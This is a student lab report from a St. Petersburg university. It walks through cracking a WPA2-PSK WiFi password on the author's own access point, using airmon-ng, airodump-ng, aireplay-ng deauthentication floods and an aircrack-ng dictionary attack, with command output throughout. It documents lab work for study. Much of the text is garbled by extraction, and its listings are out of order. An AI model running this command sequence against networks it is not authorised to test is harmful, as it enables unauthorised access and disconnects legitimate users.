**Peter the Great St.Petersburg Polytechnic University Institute of Computer Science & Technologys Department of Computer Systems & Software Engineering**

**Laboratory №4 Report**

**Discipline:** Information Security

**Theme:** 802.11 WEP and WPA-PSK keys cracking program

AirCrack

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Made by student of group. 13541/3 | |  |  | D.V. Filippov |  |
|  |  |  |  |
|  |  | (signature) | | |  |
| Lecturer |  |  |  | N.V. Bogach |  |
|  |  |  |  |
|  |  | (signature) | | |  |

Saint-Petersburg

2017

Contents

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| 1 802.11 WEP and WPA-PSK keys cracking program AirCrack | | | | 2 |
|  | 1.1 | Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | | 2 |
|  | 1.2 | Task . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | | 2 |
|  |  | 1.2.1 | Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | 2 |
|  |  | 1.2.2 | Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | 2 |
| 2 | Work Progress | | | 3 |
|  | 2.1 | Study . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | | 3 |
|  |  | 2.1.1 | The core utilities – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng . . | 3 |
|  |  | 2.1.2 | Start a monitor mode on your wireless card . . . . . . . . . . . . . . . . . | 3 |
|  |  | 2.1.3 | Launch airodump, study its output and file format . . . . . . . . . . . . . | 3 |
|  | 2.2 | Exercises . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | | 3 |
|  |  | 2.2.1 | Start monitor using airmon-ng . . . . . . . . . . . . . . . . . . . . . . . . | 3 |
|  |  | 2.2.2 | Start capture and analyse WiFi traﬃc airdump-ng . . . . . . . . . . . . . | 4 |
|  |  | 2.2.3 | Use aireplay-ng to deauthenticate the wireless client . . . . . . . . . . . | 5 |
|  |  | 2.2.4 | Perform a dictionary attack . . . . . . . . . . . . . . . . . . . . . . . . . . | 6 |
| 3 | Conclusion | |  | 7 |

1

802.11 WEP and WPA-PSK keys cracking pro-gram AirCrack

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured.

1.1 Objectives

After completing this module you will be able to:

1. Explore WiFi nets with a set of tools for auditing wireless networks;
2. Capture and analyse WiFi traﬃc;
3. Perform password-cracking attacks on WEP/WPA/WPA2 PSK.

1.2 Task

1.2.1 Study

1. The core utilities – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng;
2. Start a monitor mode on your wireless card;
3. Launch airodump, study its output and file format.

1.2.2 Exercises

Crack a WPA2 PSK WiFi net (see REFERENCE )

1. Start monitor using airmon-ng;
2. Start capture and analyse WiFi traﬃc airdump-ng;
3. Use aireplay-ng to deauthenticate the wireless client (if needed);
4. Perform a dictionary attack.

OPTIONAL Crack WEP (see REFERENCE)

2

Work Progress

2.1 Study

2.1.1 The core utilities – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng

* aircrack-ng - complete suite of tools to assess WiFi network security;

– Monitoring: Packet capture and export of data to text files for further processing by third party tools.

– Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.

– Testing: Checking WiFi cards and driver capabilities (capture and injection).

– Cracking: WEP and WPA PSK (WPA 1 and 2).

* airodump-ng - packet capturing of raw 802.11 frames;
* aireplay-ng - used to inject frames(for example send DeAuth frames);
* airmon-ng - enabling monitor mode on wireless interfaces.

2.1.2 Start a monitor mode on your wireless card

2.1.3 Launch airodump, study its output and file format

Done in Exercises section.

2.2 Exercises

In this work experiments were conducted with a personal wifi access point.

ESSID - PLAZMA

PASSWORD - myTestPassword

Also, the work was done on a real linux system - kali linux 2017.3 release.

2.2.1 Start monitor using airmon-ng

This mode allows the adapter to see all the wireless traﬃc (or rather not discard its own packets), which is physically accessible to it.

Entering the airmon-ng command without parameters will show the interfaces status.

3

* root@DESKTOP E155IRT : ~# airmon ng

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| 2 |  |  |  |  |  |  |
| 3 | PHY | I n t e r f a c e | D r i v e r | C h i p s e t | |  |
| 4 |  |  |  |  |  |  |
|  |  |  |  |  |  |
| 5 | phy0 | wlan0 | r t 2 8 0 0 p c i | | R a l i n k corp . RT5392 PCIe W i r e l e s s Network Adapter |  |

Listing 2.1: interfaces status

Now turn on the monitor of interface wlan0.

|  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 |  | root@DESKTOP E155IRT : ~# | | | airmon ng | | s t a r t | wlan0 |  |  |
|  |  |  |
| 2 |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |
| 3 |  | Found 3 processes t h a t | | | cou ld | cause | t r o u b l e . | |  |  |
|  |  |  |
| 4 |  | I f | airodump ng , | a i r e p l a y ng | | o r a i r t u n ng | | stops working | a f t e r |  |
| 5 |  | a | s h o r t p e r i o d | o f time , | you | may want t o | | run ’ airmon ng | check k i l l ’ |  |
| 6 |  |  |  |  |  |  |  |  |  |  |

* PID Name
* 605 NetworkManager

9644 w p a \_ s u p p l i c a n t

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 10 | 712 d h c l i e n t | |  |  |  |  |  |  |  |  |  |
| 11 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 12 | PHY | I n t e r f a c e | D r i v e r | | C h i p s e t | |  |  |  |  |  |
| 13 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 14 | phy0 | wlan0 |  | r t 2 8 0 0 p c i | | R a l i n k corp . RT5392 PCIe W i r e l e s s Network Adapter | | | |  |  |
| 15 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 16 |  | ( mac80211 | | monitor | mode | v i f | enabled | f o r | [ phy0 ] wlan0 on [ phy0 ] wlan0mon ) |  |  |
|  |  |  |
| 17 |  | ( mac80211 | | s t a t i o n | mode | v i f | d i s a b l e d | f o r | [ phy0 ] wlan0 ) |  |  |
|  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |

Listing 2.2: turn on interface

airmon-ng found 3 other processes that use that interface, but after this command airmon-ng detach them and switch wlan0 into monitor mode. Let’s check statuses again.

* root@DESKTOP E155IRT : ~/ Desktop / l o g F O l d e r # airmon ng

|  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- |
| 2 |  |  |  |  |  |  |
| 3 | PHY | I n t e r f a c e | D r i v e r | C h i p s e t | |  |
| 4 |  |  |  |  |  |  |
|  |  |  |  |  |  |
| 5 | phy0 | wlan0mon | r t 2 8 0 0 p c i | | R a l i n k corp . RT5392 PCIe W i r e l e s s Network Adapter |  |

Listing 2.3: interfaces status

Interface name changed into wlan0mon.

2.2.2 Start capture and analyse WiFi traffic airdump-ng

The airodump-ng command allows capture all physically available traﬃc and recognize networks, channels, access points and clients.

* root@DESKTOP E155IRT : ~/ Desktop / l o g F O l d e r # airodump ng wlan0mon

2

3 [ CH 8 ] [ Elapsed : 48 s ] [ 2017 12 02 09:10

4

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 5 |  | BSSID | PWR | Beacons | #Data , | | #/ s | CH | MB | ENC | CIPHER AUTH ESSID | | |  |  |
| 6 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 7 |  | 2C : 5 6 : DC : 4 1 : FC : 3 0 | 57 | 34 |  | 5 | 0 | 6 | 54e | WPA2 CCMP | | PSK | PLAZMA |  |  |
|  |  |  |  |
| 8 |  | 0 0 : 2 1 : 9 1 : F6 : 3 0 : 2 F | 61 | 58 |  | 0 | 0 | 12 | 54 . | WPA2 CCMP | | PSK | anna |  |  |
|  |  |  |  |
| 9 |  | 9 6 : 4 4 : 4 4 : F8 : 2 9 : E7 | 63 | 35 |  | 0 | 0 | 1 | 54e | WPA2 CCMP | | PSK | DIRECT AP [ TV ] [ |  |  |
|  |  |  |  |
|  |  | *,!* LG ] 4 7 LA691V ZA | |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 10 |  | E8 : 3 7 : 7 A : 9 0 : F9 : FE | 68 | 20 |  | 0 | 0 | 4 | 54e | WPA2 CCMP | | PSK E l d a r \_ W I F I | |  |  |
| 11 |  | 4E : 5 D : 4 E : 9 A : 0 1 : 7 8 | 69 | 37 |  | 0 | 0 | 11 | 54e | WPA2 CCMP | | PSK |  |  |  |
|  |  |  |  |  |
|  |  | *,!* ZyXEL\_KEENETIC\_GIGA\_9A0178 | | |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |
| 12 |  | C8 : D3 : A3 : E8 : 2 7 : 1 3 | 72 | 3 |  | 0 | 0 | 6 | 54e | WPA2 CCMP | | PSK | Mikluha |  |  |
| 13 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 14 |  | BSSID | STATION | |  | PWR | Rate | | Lost |  | Frames | Probe |  |  |  |
|  |  |  |  |  |  |
| 15 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 16 |  | 2C : 5 6 : DC : 4 1 : FC : 3 0 3 4 : F6 : 4 B : 3 6 : FD : 3 F36 | | | | | 0 1 | |  | 0 | 1 |  |  |  |  |
|  |  |  |  |  |  |
| 17 |  | 2C : 5 6 : DC : 4 1 : FC : 3 0 | 0 0 : 0 4 : 4 B : 2 C : E4 : 9 C | | | 40 | 0 | 24 |  | 0 | 5 | PLAZMA | |  |  |
|  |  |  |  |
| 18 |  | 2C : 5 6 : DC : 4 1 : FC : 3 0 | 0 0 : 2 4 : 2 B : EE : 0 3 : 2 B | | | 56 | 54e 1 | |  | 0 | 3 |  |  |  |  |
|  |  |  |  |  |  |
| 19 |  | 0 0 : 2 1 : 9 1 : F6 : 3 0 : 2 F | 9 4 : 4 4 : 4 4 : F8 : A9 : E7 | | | 54 | 0 1 | | 283 | | 152 |  |  |  |  |
|  |  |  |  |  |

Listing 2.4: starting airodump-ng

4

All visible access points are shown at the top of the listing, and the connected clients are at the bottom. My target AP is PLAZMA with bssid 2C:56:DC:41:FC:30.

Now we can run airodump-ng with the tracking parameters of this particular network.

1 root@DESKTOP E155IRT : ~/ Desktop / t e s t # airodump ng c 6 b s s i d 2C : 5 6 : DC : 4 1 : FC : 3 0 w *,!* WPAcrack wlan0mon i g n o r e n e g a t i v e one

Listing 2.5: starting getting handshake

* -c - wireless network channel;
* –bssid - MAC address of the access point;
* -w - the prefix of the file to which the handshake will be recorded;
* wlan0mon - network Interface;
* –ignore-negative-one - removes ’fixed channel: -1’ messages.

Adter executing this command, we see interface where can see target AP, AP clients and hand-shake info.

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 |  | CH | 6 ] [ Elapsed : | 1 min ] [ | 2017 12 02 | 09:25 | ] |  |  |  |  |
|  |  |  |  |  |
| 2 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 3 |  | BSSID | | PWR RXQ | Beacons | #Data , #/ s | | CH | MB | ENC CIPHER AUTH ESSID |  |
|  |  |
| 4 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 5 |  | 2C | : 5 6 : DC : 4 1 : FC : 3 0 | 61 100 | 985 | 978 | 0 | 6 | 54e | WPA2 CCMP PSK PLAZMA |  |
|  |  |
| 6 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 7 |  | BSSID | | STATION |  | PWR | Rate | Lost | | Frames Probe |  |
|  |  |  |
| 8 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 9 |  | 2C | : 5 6 : DC : 4 1 : FC : 3 0 | 3 4 : F6 : 4 B : 3 6 : FD : 3 F | | 40 | 0e 1e |  | 0 | 1001 |  |
|  |  |  |
| 10 |  | 2C : 5 6 : DC : 4 1 : FC : 3 0 0 0 : 0 4 : 4 B : 2 C : E4 : 9 C 42 | | | | | 1e 24 |  | 0 | 68 |  |
|  |  |  |
| 11 |  | 2C : 5 6 : DC : 4 1 : FC : 3 0 0 0 : 2 4 : 2 B : EE : 0 3 : 2 B 60 | | | | | 1e 1 |  | 0 | 34 |  |
|  |  |  |

Listing 2.6: traﬃc collection

Now need to wait while airodump-ng getting a handshake.

2.2.3 Use aireplay-ng to deauthenticate the wireless client

To capture an encrypted password, we must have client authentication on the access point. If the user has already passed authentication, then we need to deauthenticate it and then the system will automatically re-authenticate, and at that moment we can intercept the required package.

To perform this trick we need to send client a message that he is no longer connected to the access point.

|  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 |  | root@DESKTOP E155IRT : ~# | | | | a i r e p l a y ng deauth 100 a 2C : 5 6 : DC : 4 1 : FC : 3 0 wlan0mon i g n o r e | | | | | |  |
|  |  |
|  |  | *,!* n e g a t i v e one | | |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |
| 2 |  | 0 9 : 1 9 : 2 9 | W a i t i n g | f o r | beacon | | frame | ( BSSID : | | 0 0 : 2 1 : 9 1 : F6 : 3 0 : 2 F ) on channel 12 | |  |
| 3 |  | NB : t h i s | a t t a c k i s | more | | e f f e c t i v e | | when | t a r g e t i n g | |  |  |
| 4 |  | a connected w i r e l e s s | | | c l i e n t | | ( c < c l i e n t | | ’ s | mac> ) . |  |  |
| 5 |  | 0 9 : 1 9 : 2 9 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 6 |  | 0 9 : 1 9 : 3 0 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 7 |  | 0 9 : 1 9 : 3 0 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 8 |  | 0 9 : 1 9 : 3 1 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 9 |  | 0 9 : 1 9 : 3 1 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 10 |  | 0 9 : 1 9 : 3 2 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 11 |  | 0 9 : 1 9 : 3 2 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 12 |  | 0 9 : 1 9 : 3 2 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 13 |  | 0 9 : 1 9 : 3 3 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 14 |  | 0 9 : 1 9 : 3 3 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 15 |  | 0 9 : 1 9 : 3 4 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |
| 16 |  | 0 9 : 1 9 : 3 4 | Sending | DeAuth | | t o | broadcastBSSID : | | | | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |
|  |  |

5

Listing 2.8: traﬃc collection

The disabled user successfully reconnected, and was received handshake, that was saved into file named WPAcrack-01.cap.

2.2.4 Perform a dictionary attack

Now we can run aircrack-ng with a database of common passwords. before experiments, a real WIDI password was added to the password database.

1 root@DESKTOP E155IRT : ~/ Desktop / t e s t # a i r c r a c k ng WPAcrack 01.cap w / u s r / share / d i c t / *,!* c r a c k l i b s m a l l

|  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 17 |  | 0 9 : 1 9 : 3 5 | Sending | DeAuth | t o | broadcast | BSSID : | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |  |
|  |  |  |
| 18 |  | 0 9 : 1 9 : 3 5 | Sending | DeAuth | t o | broadcast | BSSID : | [ 2 C : 5 6 : DC : 4 1 : FC : 3 0 ] |  |  |
|  |  |  |
| 19 |  | . . . |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |

Listing 2.7: sending DeAuth messages

–deauth 100 means how many DeAuth need to send.

At this time, in the traﬃc collection window, the message WPA handshake appears in the upper right corner. the right package is caught

|  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | CH | 6 ] [ Elapsed : | 1 min ] [ | 2017 12 02 | 09:25 | ] [ | WPA | handshake : 2C : 5 6 : DC : 4 1 : FC : 3 0 | | |  |
| 2 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 3 | BSSID | | PWR RXQ | Beacons | #Data , | | #/ s | CH | MB | ENC CIPHER AUTH ESSID |  |
|  |
| 4 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 5 | 2C | : 5 6 : DC : 4 1 : FC : 3 0 | 61 100 | 985 | 978 |  | 0 | 6 | 54e | WPA2 CCMP PSK PLAZMA |  |
|  |  |
| 6 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 7 | BSSID | | STATION |  | PWR | Rate | | Lost | | Frames Probe |  |
|  |  |
| 8 |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |
| 9 | 2C | : 5 6 : DC : 4 1 : FC : 3 0 | 3 4 : F6 : 4 B : 3 6 : FD : 3 F | | 40 | 0e 1e | |  | 0 | 1001 |  |
|  |  |
| 10 | 2C : 5 6 : DC : 4 1 : FC : 3 0 0 0 : 0 4 : 4 B : 2 C : E4 : 9 C 42 | | | | | 1e 24 | |  | 0 | 68 |  |
|  |  |
| 11 | 2C : 5 6 : DC : 4 1 : FC : 3 0 0 0 : 2 4 : 2 B : EE : 0 3 : 2 B 60 | | | | | 1e 1 | |  | 0 | 34 |  |
|  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 2 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 3 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 4 |  |  |  |  |  |  |  | A i r c r a c k ng 1 . 2 rc4 | | | |  |  |  |  |  |
| 5 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 6 |  | [ 0 0 : 0 0 : 0 5 ] | 23440/29318 | | | | keys | | t e s t e d ( 4 4 5 0 . 4 9 | | k / s ) |  |  |  |  |  |
|  |  |  |  |  |  |
| 7 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 8 |  | Time l e f t : | 1 | second | |  |  |  |  |  |  |  |  | 79.95% | |  |
| 9 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 10 |  |  |  |  | KEY FOUND ! | | | [ | myTestPassword | | ] |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |
| 11 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 12 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 13 |  | Master Key |  | : | 83 | 41 | A0 BD FE AA D7 B1 13 AF 34 05 | | | | | 37 | D5 0F | | F6 |  |
|  |  |  |
| 14 |  |  |  |  | AC DC 35 | | | 71 | 05 | 62 0F 68 C3 F1 F0 8E | | 1C 30 | | 82 | 4A |  |
|  |  |  |  |  |
| 15 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 16 |  | T r a n s i e n t Key | | : | 33 | 87 | 5C | 60 | B5 | 47 92 3E 1A 1A AD E2 | | 33 | 67 | 99 | B6 |  |
|  |  |
| 17 |  |  |  |  | CE 4C 65 D6 18 11 7B A4 11 BF FC 61 | | | | | | | 76 | AC A8 2E | | |  |
|  |  |  |  |  |
| 18 |  |  |  |  | F8 | 85 | A5 1E BB | | | F1 D5 AC B0 EF BC AD | | 76 | 7D 8F | | EB |  |
|  |  |  |  |  |
| 19 |  |  |  |  | 48 | 19 | CB EA 58 | | | 75 BB 42 BE B8 CF 22 | | 0E | 0D BD 32 | | |  |
|  |  |  |  |  |
| 20 |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| 21 |  | EAPOL HMAC |  | : ED 91 | | | 19 D1 78 | | | 77 DD CC 19 CD C8 7F | | 77 | 1B 99 | | 0A |  |
|  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |

Listing 2.9: traﬃc collection

As expected aircrack found my password.

6

Conclusion

Ensuring the security of a wireless network is diﬃcult. At the moment, wep2 networks are the most common, to be safe they require fairly long and complex (not dictionary) passwords.

But even this may not help, because there is a WPS vulnerability (which is often enabled by default in new routers). With WPS vulnerability, i was also able to crack the password of the router, but that’s another story altogether.

7